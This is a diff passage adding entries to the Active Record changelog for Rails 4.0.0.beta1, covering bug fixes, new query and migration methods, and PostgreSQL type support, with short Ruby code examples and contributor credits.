+ Fixes #9215.
+
+ *Igor Fedoronchuk*
+
+* Do not try to touch invalid (and thus not persisted) parent record
+ for a `belongs_to :parent, touch: true` association
+
+ *Olek Janiszewski*
+
+* Fix when performing an ordered join query. The bug only
+ affected queries where the order was given with a symbol.
+ Fixes #9275.
+
+ Example:
+
+ # This will expand the order :name to "authors".name.
+ Author.joins(:books).where('books.published = 1').order(:name)
+
+
+## Rails 4.0.0.beta1 (February 25, 2013) ##
+
+* Fix overriding of attributes by `default_scope` on `ActiveRecord::Base#dup`.
+
+ *Hiroshige UMINO*
+
+* Update queries now use prepared statements.
+
+ *Olli Rissanen*
+
+* Fixing issue #8345. Now throwing an error when one attempts to touch a
+ new object that has not yet been persisted. For instance:
+
+ Example:
+
+ ball = Ball.new
+ ball.touch :updated_at # => raises error
+
+ It is not until the ball object has been persisted that it can be touched.
+ This follows the behavior of update_column.
+
+ *John Wang*
+
+* Preloading ordered `has_many :through` associations no longer applies
+ invalid ordering to the `:through` association.
+ Fixes #8663.
+
+ *Yves Senn*
+
+* The auto explain feature has been removed. This feature was
+ activated by configuring `config.active_record.auto_explain_threshold_in_seconds`.
+ The configuration option was deprecated and has no more effect.
+
+ You can still use `ActiveRecord::Relation#explain` to see the EXPLAIN output for
+ any given relation.
+
+ *Yves Senn*
+
+* The `:on` option for `after_commit` and `after_rollback` now
+ accepts an Array of actions.
+ Fixes #988.
+
+ Example:
+
+ after_commit :update_cache on: [:create, :update]
+
+ *Yves Senn*
+
+* Rename related indexes on `rename_table` and `rename_column`. This
+ does not affect indexes with custom names.
+
+ *Yves Senn*
+
+* Prevent the creation of indices with too long names, which cause
+ internal operations to fail (sqlite3 adapter only). The method
+ `allowed_index_name_length` defines the length limit enforced by
+ rails. It's value defaults to `index_name_length` but can vary per adapter.
+ Fixes #8264.
+
+ *Yves Senn*
+
+* Fixing issue #776.
+
+ Memory bloat in transactions is handled by having the transaction hold only
+ the AR objects which it absolutely needs to know about. These are the AR
+ objects with callbacks (they need to be updated as soon as something in the
+ transaction occurs).
+
+ All other AR objects can be updated lazily by keeping a reference to a
+ TransactionState object. If an AR object gets inside a transaction, then
+ the transaction will add its TransactionState to the AR object. When the
+ user makes a call to some attribute on an AR object (which has no
+ callbacks) associated with a transaction, the AR object will call the
+ sync_with_transaction_state method and make sure it is up to date with the
+ transaction. After it has synced with the transaction state, the AR object
+ will return the attribute that was requested.
+
+ Most of the logic in the changes are used to handle multiple transactions,
+ in which case the AR object has to recursively follow parent pointers of
+ TransactionState objects.
+
+ *John Wang*
+
+* Descriptive error message when the necessary AR adapter gem was not found.
+ Fixes #7313.
+
+ *Yves Senn*
+
+* Active Record now raises an error when blank arguments are passed to query
+ methods for which blank arguments do not make sense.
+
+ Example:
+
+ Post.includes() # => raises error
+
+ *John Wang*
+
+* Simplified type casting code for timezone aware attributes to use the
+ `in_time_zone` method if it is available. This introduces a subtle change
+ of behavior when using `Date` instances as they are directly converted to
+ `ActiveSupport::TimeWithZone` instances without first being converted to
+ `Time` instances. For example:
+
+ # Rails 3.2 behavior
+ >> Date.today.to_time.in_time_zone
+ => Wed, 13 Feb 2013 07:00:00 UTC +00:00
+
+ # Rails 4.0 behavior
+ >> Date.today.in_time_zone
+ => Wed, 13 Feb 2013 00:00:00 UTC +00:00
+
+ On the plus side it now behaves the same whether you pass a `String` date
+ or an actual `Date` instance. For example:
+
+ # Rails 3.2 behavior
+ >> Date.civil(2013, 2, 13).to_time.in_time_zone
+ => Wed, 13 Feb 2013 07:00:00 UTC +00:00
+ >> Time.zone.parse("2013-02-13")
+ => Wed, 13 Feb 2013 00:00:00 UTC +00:00
+
+ # Rails 4.0 behavior
+ >> Date.civil(2013, 2, 13).in_time_zone
+ => Wed, 13 Feb 2013 00:00:00 UTC +00:00
+ >> "2013-02-13".in_time_zone
+ => Wed, 13 Feb 2013 00:00:00 UTC +00:00
+
+ If you need the old behavior you can convert the dates to times manually.
+ For example:
+
+ >> Post.new(created_at: Date.today).created_at
+ => Wed, 13 Feb 2013 00:00:00 UTC +00:00
+
+ >> Post.new(created_at: Date.today.to_time).created_at
+ => Wed, 13 Feb 2013 07:00:00 UTC +00:00
+
+ *Andrew White*
+
+* Preloading `has_many :through` associations with conditions won't
+ cache the `:through` association. This will prevent invalid
+ subsets to be cached.
+ Fixes #8423.
+
+ Example:
+
+ class User
+ has_many :posts
+ has_many :recent_comments, -> { where('created_at > ?', 1.week.ago) }, :through => :posts
+ end
+
+ a_user = User.includes(:recent_comments).first
+
+ # This is preloaded.
+ a_user.recent_comments
+
+ # This is not preloaded, fetched now.
+ a_user.posts
+
+ *Yves Senn*
+
+* Don't run `after_commit` callbacks when creating through an association
+ if saving the record fails.
+
+ *James Miller*
+
+* Allow store accessors to be overridden like other attribute methods, e.g.:
+
+ class User < ActiveRecord::Base
+ store :settings, accessors: [ :color, :homepage ], coder: JSON
+
+ def color
+ super || 'red'
+ end
+ end
+
+ *Sergey Nartimov*
+
+* Quote numeric values being compared to non-numeric columns. Otherwise,
+ in some database, the string column values will be coerced to a numeric
+ allowing 0, 0.0 or false to match any string starting with a non-digit.
+
+ Example:
+
+ App.where(apikey: 0) # => SELECT * FROM users WHERE apikey = '0'
+
+ *Dylan Smith*
+
+* Schema dumper supports dumping the enabled database extensions to `schema.rb`
+ (currently only supported by PostgreSQL).
+
+ *Justin George*
+
+* The database adapters now converts the options passed thought `DATABASE_URL`
+ environment variable to the proper Ruby types before using. For example, SQLite requires
+ that the timeout value is an integer, and PostgreSQL requires that the
+ prepared_statements option is a boolean. These now work as expected:
+
+ Example:
+
+ DATABASE_URL=sqlite3://localhost/test_db?timeout=500
+ DATABASE_URL=postgresql://localhost/test_db?prepared_statements=false
+
+ *Aaron Stone + Rafael Mendonça França*
+
+* `Relation#merge` now only overwrites where values on the LHS of the
+ merge. Consider:
+
+ left = Person.where(age: [13, 14, 15])
+ right = Person.where(age: [13, 14]).where(age: [14, 15])
+
+ `left` results in the following SQL:
+
+ WHERE age IN (13, 14, 15)
+
+ `right` results in the following SQL:
+
+ WHERE age IN (13, 14) AND age IN (14, 15)
+
+ Previously, `left.merge(right)` would result in all but the last
+ condition being removed:
+
+ WHERE age IN (14, 15)
+
+ Now it results in the LHS condition(s) for `age` being removed, but
+ the RHS remains as it is:
+
+ WHERE age IN (13, 14) AND age IN (14, 15)
+
+ *Jon Leighton*
+
+* Fix handling of dirty time zone aware attributes
+
+ Previously, when `time_zone_aware_attributes` were enabled, after
+ changing a datetime or timestamp attribute and then changing it back
+ to the original value, `changed_attributes` still tracked the
+ attribute as changed. This caused `[attribute]_changed?` and
+ `changed?` methods to return true incorrectly.
+
+ Example:
+
+ in_time_zone 'Paris' do
+ order = Order.new
+ original_time = Time.local(2012, 10, 10)
+ order.shipped_at = original_time
+ order.save
+ order.changed? # => false
+
+ # changing value
+ order.shipped_at = Time.local(2013, 1, 1)
+ order.changed? # => true
+
+ # reverting to original value
+ order.shipped_at = original_time
+ order.changed? # => false, used to return true
+ end
+
+ *Lilibeth De La Cruz*
+
+* When `#count` is used in conjunction with `#uniq` we perform `count(:distinct => true)`.
+ Fixes #6865.
+
+ Example:
+
+ relation.uniq.count # => SELECT COUNT(DISTINCT *)
+
+ *Yves Senn + Kaspar Schiess*
+
+* PostgreSQL ranges type support. Includes: int4range, int8range,
+ numrange, tsrange, tstzrange, daterange
+
+ Ranges can be created with inclusive and exclusive bounds.
+
+ Example:
+
+ create_table :Room do |t|
+ t.daterange :availability
+ end
+
+ Room.create(availability: (Date.today..Float::INFINITY))
+ Room.first.availability # => Wed, 19 Sep 2012..Infinity
+
+ One thing to note: Range class does not support exclusive lower
+ bound.
+
+ *Alexander Grebennik*
+
+* Added a state instance variable to each transaction. Will allow other objects
+ to know whether a transaction has been committed or rolled back.
+
+ *John Wang*
+
+* Collection associations `#empty?` always respects built records.
+ Fixes #8879.
+
+ Example:
+
+ widget = Widget.new
+ widget.things.build
+ widget.things.empty? # => false
+
+ *Yves Senn*
+
+* Support for PostgreSQL's `ltree` data type.
+
+ *Rob Worley*
+
+* Fix undefined method `to_i` when calling `new` on a scope that uses an
+ Array; Fix FloatDomainError when setting integer column to NaN.
+ Fixes #8718, #8734, #8757.
+
+ *Jason Stirk + Tristan Harward*
+
+* Rename `update_attributes` to `update`, keep `update_attributes` as an alias for `update` method.
+ This is a soft-deprecation for `update_attributes`, although it will still work without any
+ deprecation message in 4.0 is recommended to start using `update` since `update_attributes` will be
+ deprecated and removed in future versions of Rails.
+
+ *Amparo Luna + Guillermo Iguaran*
+
+* `after_commit` and `after_rollback` now validate the `:on` option and raise an `ArgumentError`
+ if it is not one of `:create`, `:destroy` or `:update`
+
+ *Pascal Friederich*
+
+* Improve ways to write `change` migrations, making the old `up` & `down` methods no longer necessary.
+
+ * The methods `drop_table` and `remove_column` are now reversible, as long as the necessary information is given.
+ The method `remove_column` used to accept multiple column names; instead use `remove_columns` (which is not reversible).
+ The method `change_table` is also reversible, as long as its block doesn't call `remove`, `change` or `change_default`
+
+ * New method `reversible` makes it possible to specify code to be run when migrating up or down.
+ See the [Guide on Migration](https://github.com/rails/rails/blob/master/guides/source/migrations.md#using-the-reversible-method)
+
+ * New method `revert` will revert a whole migration or the given block.
+ If migrating down, the given migration / block is run normally.
+ See the [Guide on Migration](https://github.com/rails/rails/blob/master/guides/source/migrations.md#reverting-previous-migrations)
+
+ Attempting to revert the methods `execute`, `remove_columns` and `change_column` will now
+ raise an `IrreversibleMigration` instead of actually executing them without any output.

+* Serialized attributes can be serialized in integer columns.
+ Fixes #8575.
+
+ *Rafael Mendonça França*
+
+* Keep index names when using `alter_table` with sqlite3.
+ Fixes #3489.
+
+ *Yves Senn*
+
+* Add ability for PostgreSQL adapter to disable user triggers in `disable_referential_integrity`.
+ Fixes #5523.
+
+ *Gary S. Weaver*
+
+* Added support for `validates_uniqueness_of` in PostgreSQL array columns.
+ Fixes #8075.
+
+ *Pedro Padron*

+
+ *Matthew M. Boedicker*
+
+* Fix counter cache columns not updated when replacing `has_many :through`
+ associations.
+
+ *Matthew Robertson*
+
+* Recognize migrations placed in directories containing numbers and 'rb'.
+ Fixes #8492.
+
+ *Yves Senn*
+
+* Add `ActiveRecord::Base.cache_timestamp_format` class attribute to control
+ the format of the timestamp value in the cache key. Defaults to `:nsec`.
+ Fixes #8195.
+
+ *Rafael Mendonça França*
+
+* Session variables can be set for the `mysql`, `mysql2`, and `postgresql` adapters
+ in the `variables: <hash>` parameter in `config/database.yml`. The key-value pairs of this
+ hash will be sent in a `SET key = value` query on new database connections. See also:
+ http://dev.mysql.com/doc/refman/5.0/en/set-statement.html
+ http://www.postgresql.org/docs/8.3/static/sql-set.html
+
+ *Aaron Stone*
+
+* Allow `Relation#where` with no arguments to be chained with new `not` query method.
+
+ Example:
+
+ Developer.where.not(name: 'Aaron')
+
+ *Akira Matsuda*
+
+* Unscope `update_column(s)` query to ignore default scope.
+
+ When applying `default_scope` to a class with a where clause, using
+ `update_column(s)` could generate a query that would not properly update
+ the record due to the where clause from the `default_scope` being applied
+ to the update query.
+
+ class User < ActiveRecord::Base
+ default_scope -> { where(active: true) }
+ end
+
+ user = User.first
+ user.active = false
+ user.save!
+
+ user.update_column(:active, true) # => false
+
+ In this situation we want to skip the default_scope clause and just
+ update the record based on the primary key. With this change:
+
+ user.update_column(:active, true) # => true
+
+ Fixes #8436.
+
+ *Carlos Antonio da Silva*
+
+* SQLite adapter no longer corrupts binary data if the data contains `%00`.
+
+ *Chris Feist*
+
+* Fix performance problem with `primary_key` method in PostgreSQL adapter when having many schemas.
+ Uses `pg_constraint` table instead of `pg_depend` table which has many records in general.
+ Fixes #8414.
+
+ *kennyj*
+
+* Do not instantiate intermediate Active Record objects when eager loading.
+ These records caused `after_find` to run more than expected.
+ Fixes #3313.
+
+ *Yves Senn*
+
+* Add STI support to init and building associations.
+ Allows you to do `BaseClass.new(type: "SubClass")` as well as
+ `parent.children.build(type: "SubClass")` or `parent.build_child`
+ to initialize an STI subclass. Ensures that the class name is a
+ valid class and that it is in the ancestors of the super class
+ that the association is expecting.
+
+ *Jason Rush*
+
+* Observers was extracted from Active Record as `rails-observers` gem.
+
+ *Rafael Mendonça França*
+
+* Ensure that associations take a symbol argument. *Steve Klabnik*
+
+* Fix dirty attribute checks for `TimeZoneConversion` with nil and blank
+ datetime attributes. Setting a nil datetime to a blank string should not
+ result in a change being flagged.
+ Fixes #8310.
+
+ *Alisdair McDiarmid*
+
+* Prevent mass assignment to the type column of polymorphic associations when using `build`
+ Fixes #8265.
+
+ *Yves Senn*
+
+* Deprecate calling `Relation#sum` with a block. To perform a calculation over
+ the array result of the relation, use `to_a.sum(&block)`.
+
+ *Carlos Antonio da Silva*
+
+* Fix PostgreSQL adapter to handle BC timestamps correctly
+
+ HistoryEvent.create!(name: "something", occured_at: Date.new(0) - 5.years)
+
+ *Bogdan Gusiev*
+
+* When running migrations on PostgreSQL, the `:limit` option for `binary` and `text` columns is silently dropped.
+ Previously, these migrations caused sql exceptions, because PostgreSQL doesn't support limits on these types.
+
+ *Victor Costan*
+
+* Don't change STI type when calling `ActiveRecord::Base#becomes`.
+ Add `ActiveRecord::Base#becomes!` with the previous behavior.
+
+ See #3023 for more information.
+
+ *Thomas Hollstegge*
+
+* `rename_index` can be used inside a `change_table` block.
+
+ change_table :accounts do |t|
+ t.rename_index :user_id, :account_id
+ end
+
+ *Jarek Radosz*
+
+* `#pluck` can be used on a relation with `select` clause. Fix #7551
+
+ Example:
+
+ Topic.select([:approved, :id]).order(:id).pluck(:id)
+
+ *Yves Senn*
+
+* Do not create useless database transaction when building `has_one` association.
+
+ Example:
+
+ User.has_one :profile
+ User.new.build_profile
+
+ *Bogdan Gusiev*
+
+* `:counter_cache` option for `has_many` associations to support custom named counter caches.
+ Fixes #7993.
+
+ *Yves Senn*
+
+* Deprecate the possibility to pass a string as third argument of `add_index`.
+ Pass `unique: true` instead.
+
+ add_index(:users, :organization_id, unique: true)
+
+ *Rafael Mendonça França*
+
+* Raise an `ArgumentError` when passing an invalid option to `add_index`.
+
+ *Rafael Mendonça França*
+
+* Fix `find_in_batches` crashing when IDs are strings and start option is not specified.
+
+ *Alexis Bernard*
+
+* `AR::Base#attributes_before_type_cast` now returns unserialized values for serialized attributes.
+
+ *Nikita Afanasenko*
+
+* Use query cache/uncache when using `DATABASE_URL`.
+ Fixes #6951.
+
+ *kennyj*
+
+* Fix bug where `update_columns` and `update_column` would not let you update the primary key column.
+
+ *Henrik Nyh*
+
+* The `create_table` method raises an `ArgumentError` when the primary key column is redefined.
+ Fixes #6378.
+
+ *Yves Senn*
+
+* `ActiveRecord::AttributeMethods#[]` raises `ActiveModel::MissingAttributeError`
+ error if the given attribute is missing. Fixes #5433.
+
+ class Person < ActiveRecord::Base
+ belongs_to :company
+ end
+
+ # Before:
+ person = Person.select('id').first
+ person[:name] # => nil
+ person.name # => ActiveModel::MissingAttributeError: missing_attribute: name
+ person[:company_id] # => nil
+ person.company # => nil
+
+ # After:
+ person = Person.select('id').first
+ person[:name] # => ActiveModel::MissingAttributeError: missing_attribute: name
+ person.name # => ActiveModel::MissingAttributeError: missing_attribute: name
+ person[:company_id] # => ActiveModel::MissingAttributeError: missing_attribute: company_id
+ person.company # => ActiveModel::MissingAttributeError: missing_attribute: company_id

+ *Francesco Rodriguez*
+
+* Small binary fields use the `VARBINARY` MySQL type, instead of `TINYBLOB`.
+
+ *Victor Costan*
+
+* Decode URI encoded attributes on database connection URLs.
+
+ *Shawn Veader*
+
+* Add `find_or_create_by`, `find_or_create_by!` and
+ `find_or_initialize_by` methods to `Relation`.
+
+ These are similar to the `first_or_create` family of methods, but
+ the behaviour when a record is created is slightly different:
+
+ User.where(first_name: 'Penélope').first_or_create
+
+ will execute:
+
+ User.where(first_name: 'Penélope').create
+
+ Causing all the `create` callbacks to execute within the context of
+ the scope. This could affect queries that occur within callbacks.
+
+ User.find_or_create_by(first_name: 'Penélope')
+
+ will execute:
+
+ User.create(first_name: 'Penélope')
+
+ Which obviously does not affect the scoping of queries within
+ callbacks.
+
+ The `find_or_create_by` version also reads better, frankly.
+
+ If you need to add extra attributes during create, you can do one of:
+
+ User.create_with(active: true).find_or_create_by(first_name: 'Jon')
+ User.find_or_create_by(first_name: 'Jon') { |u| u.active = true }
+
+ The `first_or_create` family of methods have been nodoc'ed in favour
+ of this API. They may be deprecated in the future but their
+ implementation is very small and it's probably not worth putting users
+ through lots of annoying deprecation warnings.
+
+ *Jon Leighton*
+
+* Fix bug with presence validation of associations. Would incorrectly add duplicated errors
+ when the association was blank. Bug introduced in 1fab518c6a75dac5773654646eb724a59741bc13.
+
+ *Scott Willson*
+
+* Fix bug where sum(expression) returns string '0' for no matching records.
+ Fixes #7439
+
+ *Tim Macfarlane*
+
+* PostgreSQL adapter correctly fetches default values when using multiple schemas and domains in a db. Fixes #7914
+
+ *Arturo Pie*
+
+* Learn ActiveRecord::QueryMethods#order work with hash arguments
+
+ When symbol or hash passed we convert it to Arel::Nodes::Ordering.
+ If we pass invalid direction(like name: :DeSc) ActiveRecord::QueryMethods#order will raise an exception
+
+ User.order(:name, email: :desc)
+ # SELECT "users".* FROM "users" ORDER BY "users"."name" ASC, "users"."email" DESC
+
+ *Tima Maslyuchenko*
+
+* Rename `ActiveRecord::Fixtures` class to `ActiveRecord::FixtureSet`.
+ Instances of this class normally hold a collection of fixtures (records)
+ loaded either from a single YAML file, or from a file and a folder
+ with the same name. This change make the class name singular and makes
+ the class easier to distinguish from the modules like
+ `ActiveRecord::TestFixtures`, which operates on multiple fixture sets,
+ or `DelegatingFixtures`, `::Fixtures`, etc.,
+ and from the class `ActiveRecord::Fixture`, which corresponds to a single
+ fixture.
+
+ *Alexey Muranov*
+
+* The postgres adapter now supports tables with capital letters.
+ Fixes #5920.
+
+ *Yves Senn*
+
+* `CollectionAssociation#count` returns `0` without querying if the
+ parent record is not persisted.
+
+ Before:
+
+ person.pets.count
+ # SELECT COUNT(*) FROM "pets" WHERE "pets"."person_id" IS NULL
+ # => 0
+
+ After:
+
+ person.pets.count
+ # fires without sql query
+ # => 0
+
+ *Francesco Rodriguez*
+
+* Fix `reset_counters` crashing on `has_many :through` associations.
+ Fixes #7822.
+
+ *lulalala*
+
+* Support for partial inserts.
+
+ When inserting new records, only the fields which have been changed
+ from the defaults will actually be included in the INSERT statement.
+ The other fields will be populated by the database.
+
+ This is more efficient, and also means that it will be safe to
+ remove database columns without getting subsequent errors in running
+ app processes (so long as the code in those processes doesn't
+ contain any references to the removed column).
+
+ The `partial_updates` configuration option is now renamed to
+ `partial_writes` to reflect the fact that it now impacts both inserts
+ and updates.
+
+ *Jon Leighton*
+
+* Allow before and after validations to take an array of lifecycle events
+
+ *John Foley*
+
+* Support for specifying transaction isolation level
+
+ If your database supports setting the isolation level for a transaction, you can set
+ it like so:
+
+ Post.transaction(isolation: :serializable) do
+ # ...
+ end
+
+ Valid isolation levels are:
+
+ * `:read_uncommitted`
+ * `:read_committed`
+ * `:repeatable_read`
+ * `:serializable`
+
+ You should consult the documentation for your database to understand the
+ semantics of these different levels:
+
+ * http://www.postgresql.org/docs/9.1/static/transaction-iso.html
+ * https://dev.mysql.com/doc/refman/5.0/en/set-transaction.html
+
+ An `ActiveRecord::TransactionIsolationError` will be raised if:
+
+ * The adapter does not support setting the isolation level
+ * You are joining an existing open transaction
+ * You are creating a nested (savepoint) transaction
+
+ The mysql, mysql2 and postgresql adapters support setting the transaction
+ isolation level. However, support is disabled for mysql versions below 5,
+ because they are affected by a bug (http://bugs.mysql.com/bug.php?id=39170)
+ which means the isolation level gets persisted outside the transaction.
+
+ *Jon Leighton*
+
+* `ActiveModel::ForbiddenAttributesProtection` is included by default
+ in Active Record models. Check the docs of `ActiveModel::ForbiddenAttributesProtection`
+ for more details.
+
+ *Guillermo Iguaran*
+
+* Remove integration between Active Record and
+ `ActiveModel::MassAssignmentSecurity`, `protected_attributes` gem
+ should be added to use `attr_accessible`/`attr_protected`. Mass
+ assignment options has been removed from all the AR methods that
+ used it (ex. `AR::Base.new`, `AR::Base.create`, `AR::Base#update_attributes`, etc).
+
+ *Guillermo Iguaran*
+
+* Fix the return of querying with an empty hash.
+ Fixes #6971.

+
+* Fix creation of through association models when using `collection=[]`
+ on a `has_many :through` association from an unsaved model.
+ Fixes #7661.
+
+ *Ernie Miller*
+
+* Explain only normal CRUD sql (select / update / insert / delete).
+ Fix problem that explains unexplainable sql.
+ Fixes #7544 #6458.
+
+ *kennyj*
+
+* You can now override the generated accessor methods for stored attributes
+ and reuse the original behavior with `read_store_attribute` and `write_store_attribute`,
+ which are counterparts to `read_attribute` and `write_attribute`.
+
+ *Matt Jones*
+
+* Accept `belongs_to` (including polymorphic) association keys in queries.
+
+ The following queries are now equivalent:
+
+ Post.where(author: author)
+ Post.where(author_id: author)
+
+ PriceEstimate.where(estimate_of: treasure)
+ PriceEstimate.where(estimate_of_type: 'Treasure', estimate_of_id: treasure)
+
+ *Peter Brown*
+
+* Use native `mysqldump` command instead of `structure_dump` method
+ when dumping the database structure to a sql file. Fixes #5547.
+
+ *kennyj*
+
+* PostgreSQL inet and cidr types are converted to `IPAddr` objects.
+
+ *Dan McClain*
+
+* PostgreSQL array type support. Any datatype can be used to create an
+ array column, with full migration and schema dumper support.
+
+ To declare an array column, use the following syntax:
+
+ create_table :table_with_arrays do |t|
+ t.integer :int_array, array: true
+ # integer[]
+ t.integer :int_array, array: true, length: 2
+ # smallint[]
+ t.string :string_array, array: true, length: 30
+ # char varying(30)[]
+ end
+
+ This respects any other migration detail (limits, defaults, etc).
+ Active Record will serialize and deserialize the array columns on
+ their way to and from the database.
+
+ One thing to note: PostgreSQL does not enforce any limits on the
+ number of elements, and any array can be multi-dimensional. Any
+ array that is multi-dimensional must be rectangular (each sub array
+ must have the same number of elements as its siblings).
+
+ If the `pg_array_parser` gem is available, it will be used when
+ parsing PostgreSQL's array representation.
+
+ *Dan McClain*
+
+* Attribute predicate methods, such as `article.title?`, will now raise
+ `ActiveModel::MissingAttributeError` if the attribute being queried for
+ truthiness was not read from the database, instead of just returning `false`.
+
+ *Ernie Miller*
+
+* `ActiveRecord::SchemaDumper` uses Ruby 1.9 style hash, which means that the
+ schema.rb file will be generated using this new syntax from now on.
+
+ *Konstantin Shabanov*
+
+* Map interval with precision to string datatype in PostgreSQL. Fixes #7518.
+
+ *Yves Senn*
+
+* Fix eagerly loading associations without primary keys. Fixes #4976.
+
+ *Kelley Reynolds*
+
+* Rails now raise an exception when you're trying to run a migration that has an invalid
+ file name. Only lower case letters, numbers, and '_' are allowed in migration's file name.
+ Please see #7419 for more details.
+
+ *Jan Bernacki*

+
+ *Dave Desrochers*
+
+* `serialized_attributes` and `_attr_readonly` become class method only. Instance reader methods are deprecated.
+
+ *kennyj*
+
+* Round usec when comparing timestamp attributes in the dirty tracking.
+ Fixes #6975.
+
+ *kennyj*
+
+* Use inversed parent for first and last child of `has_many` association.
+
+ *Ravil Bayramgalin*
+
+* Fix `Column.microseconds` and `Column.fast_string_to_time` to avoid converting
+ timestamp seconds to a float, since it occasionally results in inaccuracies
+ with microsecond-precision times. Fixes #7352.
+
+ *Ari Pollak*
+
+* Fix AR#dup to nullify the validation errors in the dup'ed object. Previously the original
+ and the dup'ed object shared the same errors.
+
+ *Christian Seiler*
+
+* Raise `ArgumentError` if list of attributes to change is empty in `update_all`.
+
+ *Roman Shatsov*
+
+* Fix AR#create to return an unsaved record when AR::RecordInvalid is
+ raised. Fixes #3217.
+
+ *Dave Yeu*
+
+* Fixed table name prefix that is generated in engines for namespaced models.
+
+ *Wojciech Wnętrzak*
+
+* Make sure `:environment` task is executed before `db:schema:load` or `db:structure:load`.
+ Fixes #4772.
+
+ *Seamus Abshere*
+
+* Allow Relation#merge to take a proc.
+
+ This was requested by DHH to allow creating of one's own custom
+ association macros.
+
+ For example:
+
+ module Commentable
+ def has_many_comments(extra)
+ has_many :comments, -> { where(:foo).merge(extra) }
+ end
+ end
+
+ class Post < ActiveRecord::Base
+ extend Commentable
+ has_many_comments -> { where(:bar) }
+ end
+
+ *Jon Leighton*
+
+* Add CollectionProxy#scope.
+
+ This can be used to get a Relation from an association.
+
+ Previously we had a #scoped method, but we're deprecating that for
+ AR::Base, so it doesn't make sense to have it here.
+
+ This was requested by DHH, to facilitate code like this:
+
+ Project.scope.order('created_at DESC').page(current_page).tagged_with(@tag).limit(5).scoping do
+ @topics = @project.topics.scope
+ @todolists = @project.todolists.scope
+ @attachments = @project.attachments.scope
+ @documents = @project.documents.scope
+ end
+
+ *Jon Leighton*
+
+* Add `Relation#load`.
+
+ This method explicitly loads the records and then returns `self`.
+
+ Rather than deciding between "do I want an array or a relation?",
+ most people are actually asking themselves "do I want to eager load
+ or lazy load?" Therefore, this method provides a way to explicitly
+ eager-load without having to switch from a `Relation` to an array.
+
+ Example:
+
+ @posts = Post.where(published: true).load
+
+ *Jon Leighton*
+
+* `Relation#order`: make new order prepend old one.
+
+ User.order("name asc").order("created_at desc")
+ # SELECT * FROM users ORDER BY created_at desc, name asc
+
+ This also affects order defined in `default_scope` or any kind of associations.
+
+ *Bogdan Gusiev*
+
+* `Model.all` now returns an `ActiveRecord::Relation`, rather than an
+ array of records. Use `Relation#to_a` if you really want an array.
+
+ In some specific cases, this may cause breakage when upgrading.
+ However in most cases the `ActiveRecord::Relation` will just act as a
+ lazy-loaded array and there will be no problems.
+
+ Note that calling `Model.all` with options (e.g.
+ `Model.all(conditions: '...')` was already deprecated, but it will
+ still return an array in order to make the transition easier.
+
+ `Model.scoped` is deprecated in favour of `Model.all`.
+
+ `Relation#all` still returns an array, but is deprecated (since it
+ would serve no purpose if we made it return a `Relation`).
+
+ *Jon Leighton*
+
+* `:finder_sql` and `:counter_sql` options on collection associations
+ are deprecated. Please transition to using scopes.
+
+ *Jon Leighton*
+
+* `:insert_sql` and `:delete_sql` options on `has_and_belongs_to_many`
+ associations are deprecated. Please transition to using `has_many
+ :through`.
+
+ *Jon Leighton*
+
+* Added `#update_columns` method which updates the attributes from
+ the passed-in hash without calling save, hence skipping validations and
+ callbacks. `ActiveRecordError` will be raised when called on new objects
+ or when at least one of the attributes is marked as read only.
+
+ post.attributes # => {"id"=>2, "title"=>"My title", "body"=>"My content", "author"=>"Peter"}
+ post.update_columns(title: 'New title', author: 'Sebastian') # => true
+ post.attributes # => {"id"=>2, "title"=>"New title", "body"=>"My content", "author"=>"Sebastian"}
+
+ *Sebastian Martinez + Rafael Mendonça França*
+
+* The migration generator now creates a join table with (commented) indexes every time
+ the migration name contains the word `join_table`:
+
+ rails g migration create_join_table_for_artists_and_musics artist_id:index music_id
+
+ *Aleksey Magusev*
+
+* Add `add_reference` and `remove_reference` schema statements. Aliases, `add_belongs_to`
+ and `remove_belongs_to` are acceptable. References are reversible.
+
+ Examples:
+
+ # Create a user_id column
+ add_reference(:products, :user)
+ # Create a supplier_id, supplier_type columns and appropriate index
+ add_reference(:products, :supplier, polymorphic: true, index: true)
+ # Remove polymorphic reference
+ remove_reference(:products, :supplier, polymorphic: true)
+
+ *Aleksey Magusev*
+
+* Add `:default` and `:null` options to `column_exists?`.
+
+ column_exists?(:testings, :taggable_id, :integer, null: false)
+ column_exists?(:testings, :taggable_type, :string, default: 'Photo')
+
+ *Aleksey Magusev*
+
+* `ActiveRecord::Relation#inspect` now makes it clear that you are
+ dealing with a `Relation` object rather than an array:.
+
+ User.where(age: 30).inspect
+ # => <ActiveRecord::Relation [#<User ...>, #<User ...>, ...]>
+
+ User.where(age: 30).to_a.inspect
+ # => [#<User ...>, #<User ...>]
+
+ The number of records displayed will be limited to 10.
+
+ *Brian Cardarella, Jon Leighton & Damien Mathieu*

+* Add `collation` and `ctype` support to PostgreSQL. These are available for PostgreSQL 8.4 or later.
+ Example:
+
+ development:
+ adapter: postgresql
+ host: localhost
+ database: rails_development
+ username: foo
+ password: bar
+ encoding: UTF8
+ collation: ja_JP.UTF8
+ ctype: ja_JP.UTF8
+
+ *kennyj*
+
+* Changed `validates_presence_of` on an association so that children objects
+ do not validate as being present if they are marked for destruction. This
+ prevents you from saving the parent successfully and thus putting the parent
+ in an invalid state.
+
+ *Nick Monje & Brent Wheeldon*
+
+* `FinderMethods#exists?` now returns `false` with the `false` argument.
+
+ *Egor Lynko*
+
+* Added support for specifying the precision of a timestamp in the PostgreSQL
+ adapter. So, instead of having to incorrectly specify the precision using the
+ `:limit` option, you may use `:precision`, as intended. For example, in a migration:
+
+ def change
+ create_table :foobars do |t|
+ t.timestamps precision: 0
+ end
+ end
+
+ *Tony Schneider*
+
+* Allow `ActiveRecord::Relation#pluck` to accept multiple columns. Returns an
+ array of arrays containing the typecasted values:
+
+ Person.pluck(:id, :name)
+ # SELECT people.id, people.name FROM people
+ # [[1, 'David'], [2, 'Jeremy'], [3, 'Jose']]
+
+ *Jeroen van Ingen & Carlos Antonio da Silva*
+
+* Improve the derivation of HABTM join table name to take account of nesting.
+ It now takes the table names of the two models, sorts them lexically and
+ then joins them, stripping any common prefix from the second table name.
+
+ Some examples:
+
+ Top level models (Category <=> Product)
+ Old: categories_products
+ New: categories_products
+
+ Top level models with a global table_name_prefix (Category <=> Product)
+ Old: site_categories_products
+ New: site_categories_products
+
+ Nested models in a module without a table_name_prefix method (Admin::Category <=> Admin::Product)
+ Old: categories_products
+ New: categories_products
+
+ Nested models in a module with a table_name_prefix method (Admin::Category <=> Admin::Product)
+ Old: categories_products
+ New: admin_categories_products
+
+ Nested models in a parent model (Catalog::Category <=> Catalog::Product)
+ Old: categories_products
+ New: catalog_categories_products
+
+ Nested models in different parent models (Catalog::Category <=> Content::Page)
+ Old: categories_pages
+ New: catalog_categories_content_pages
+
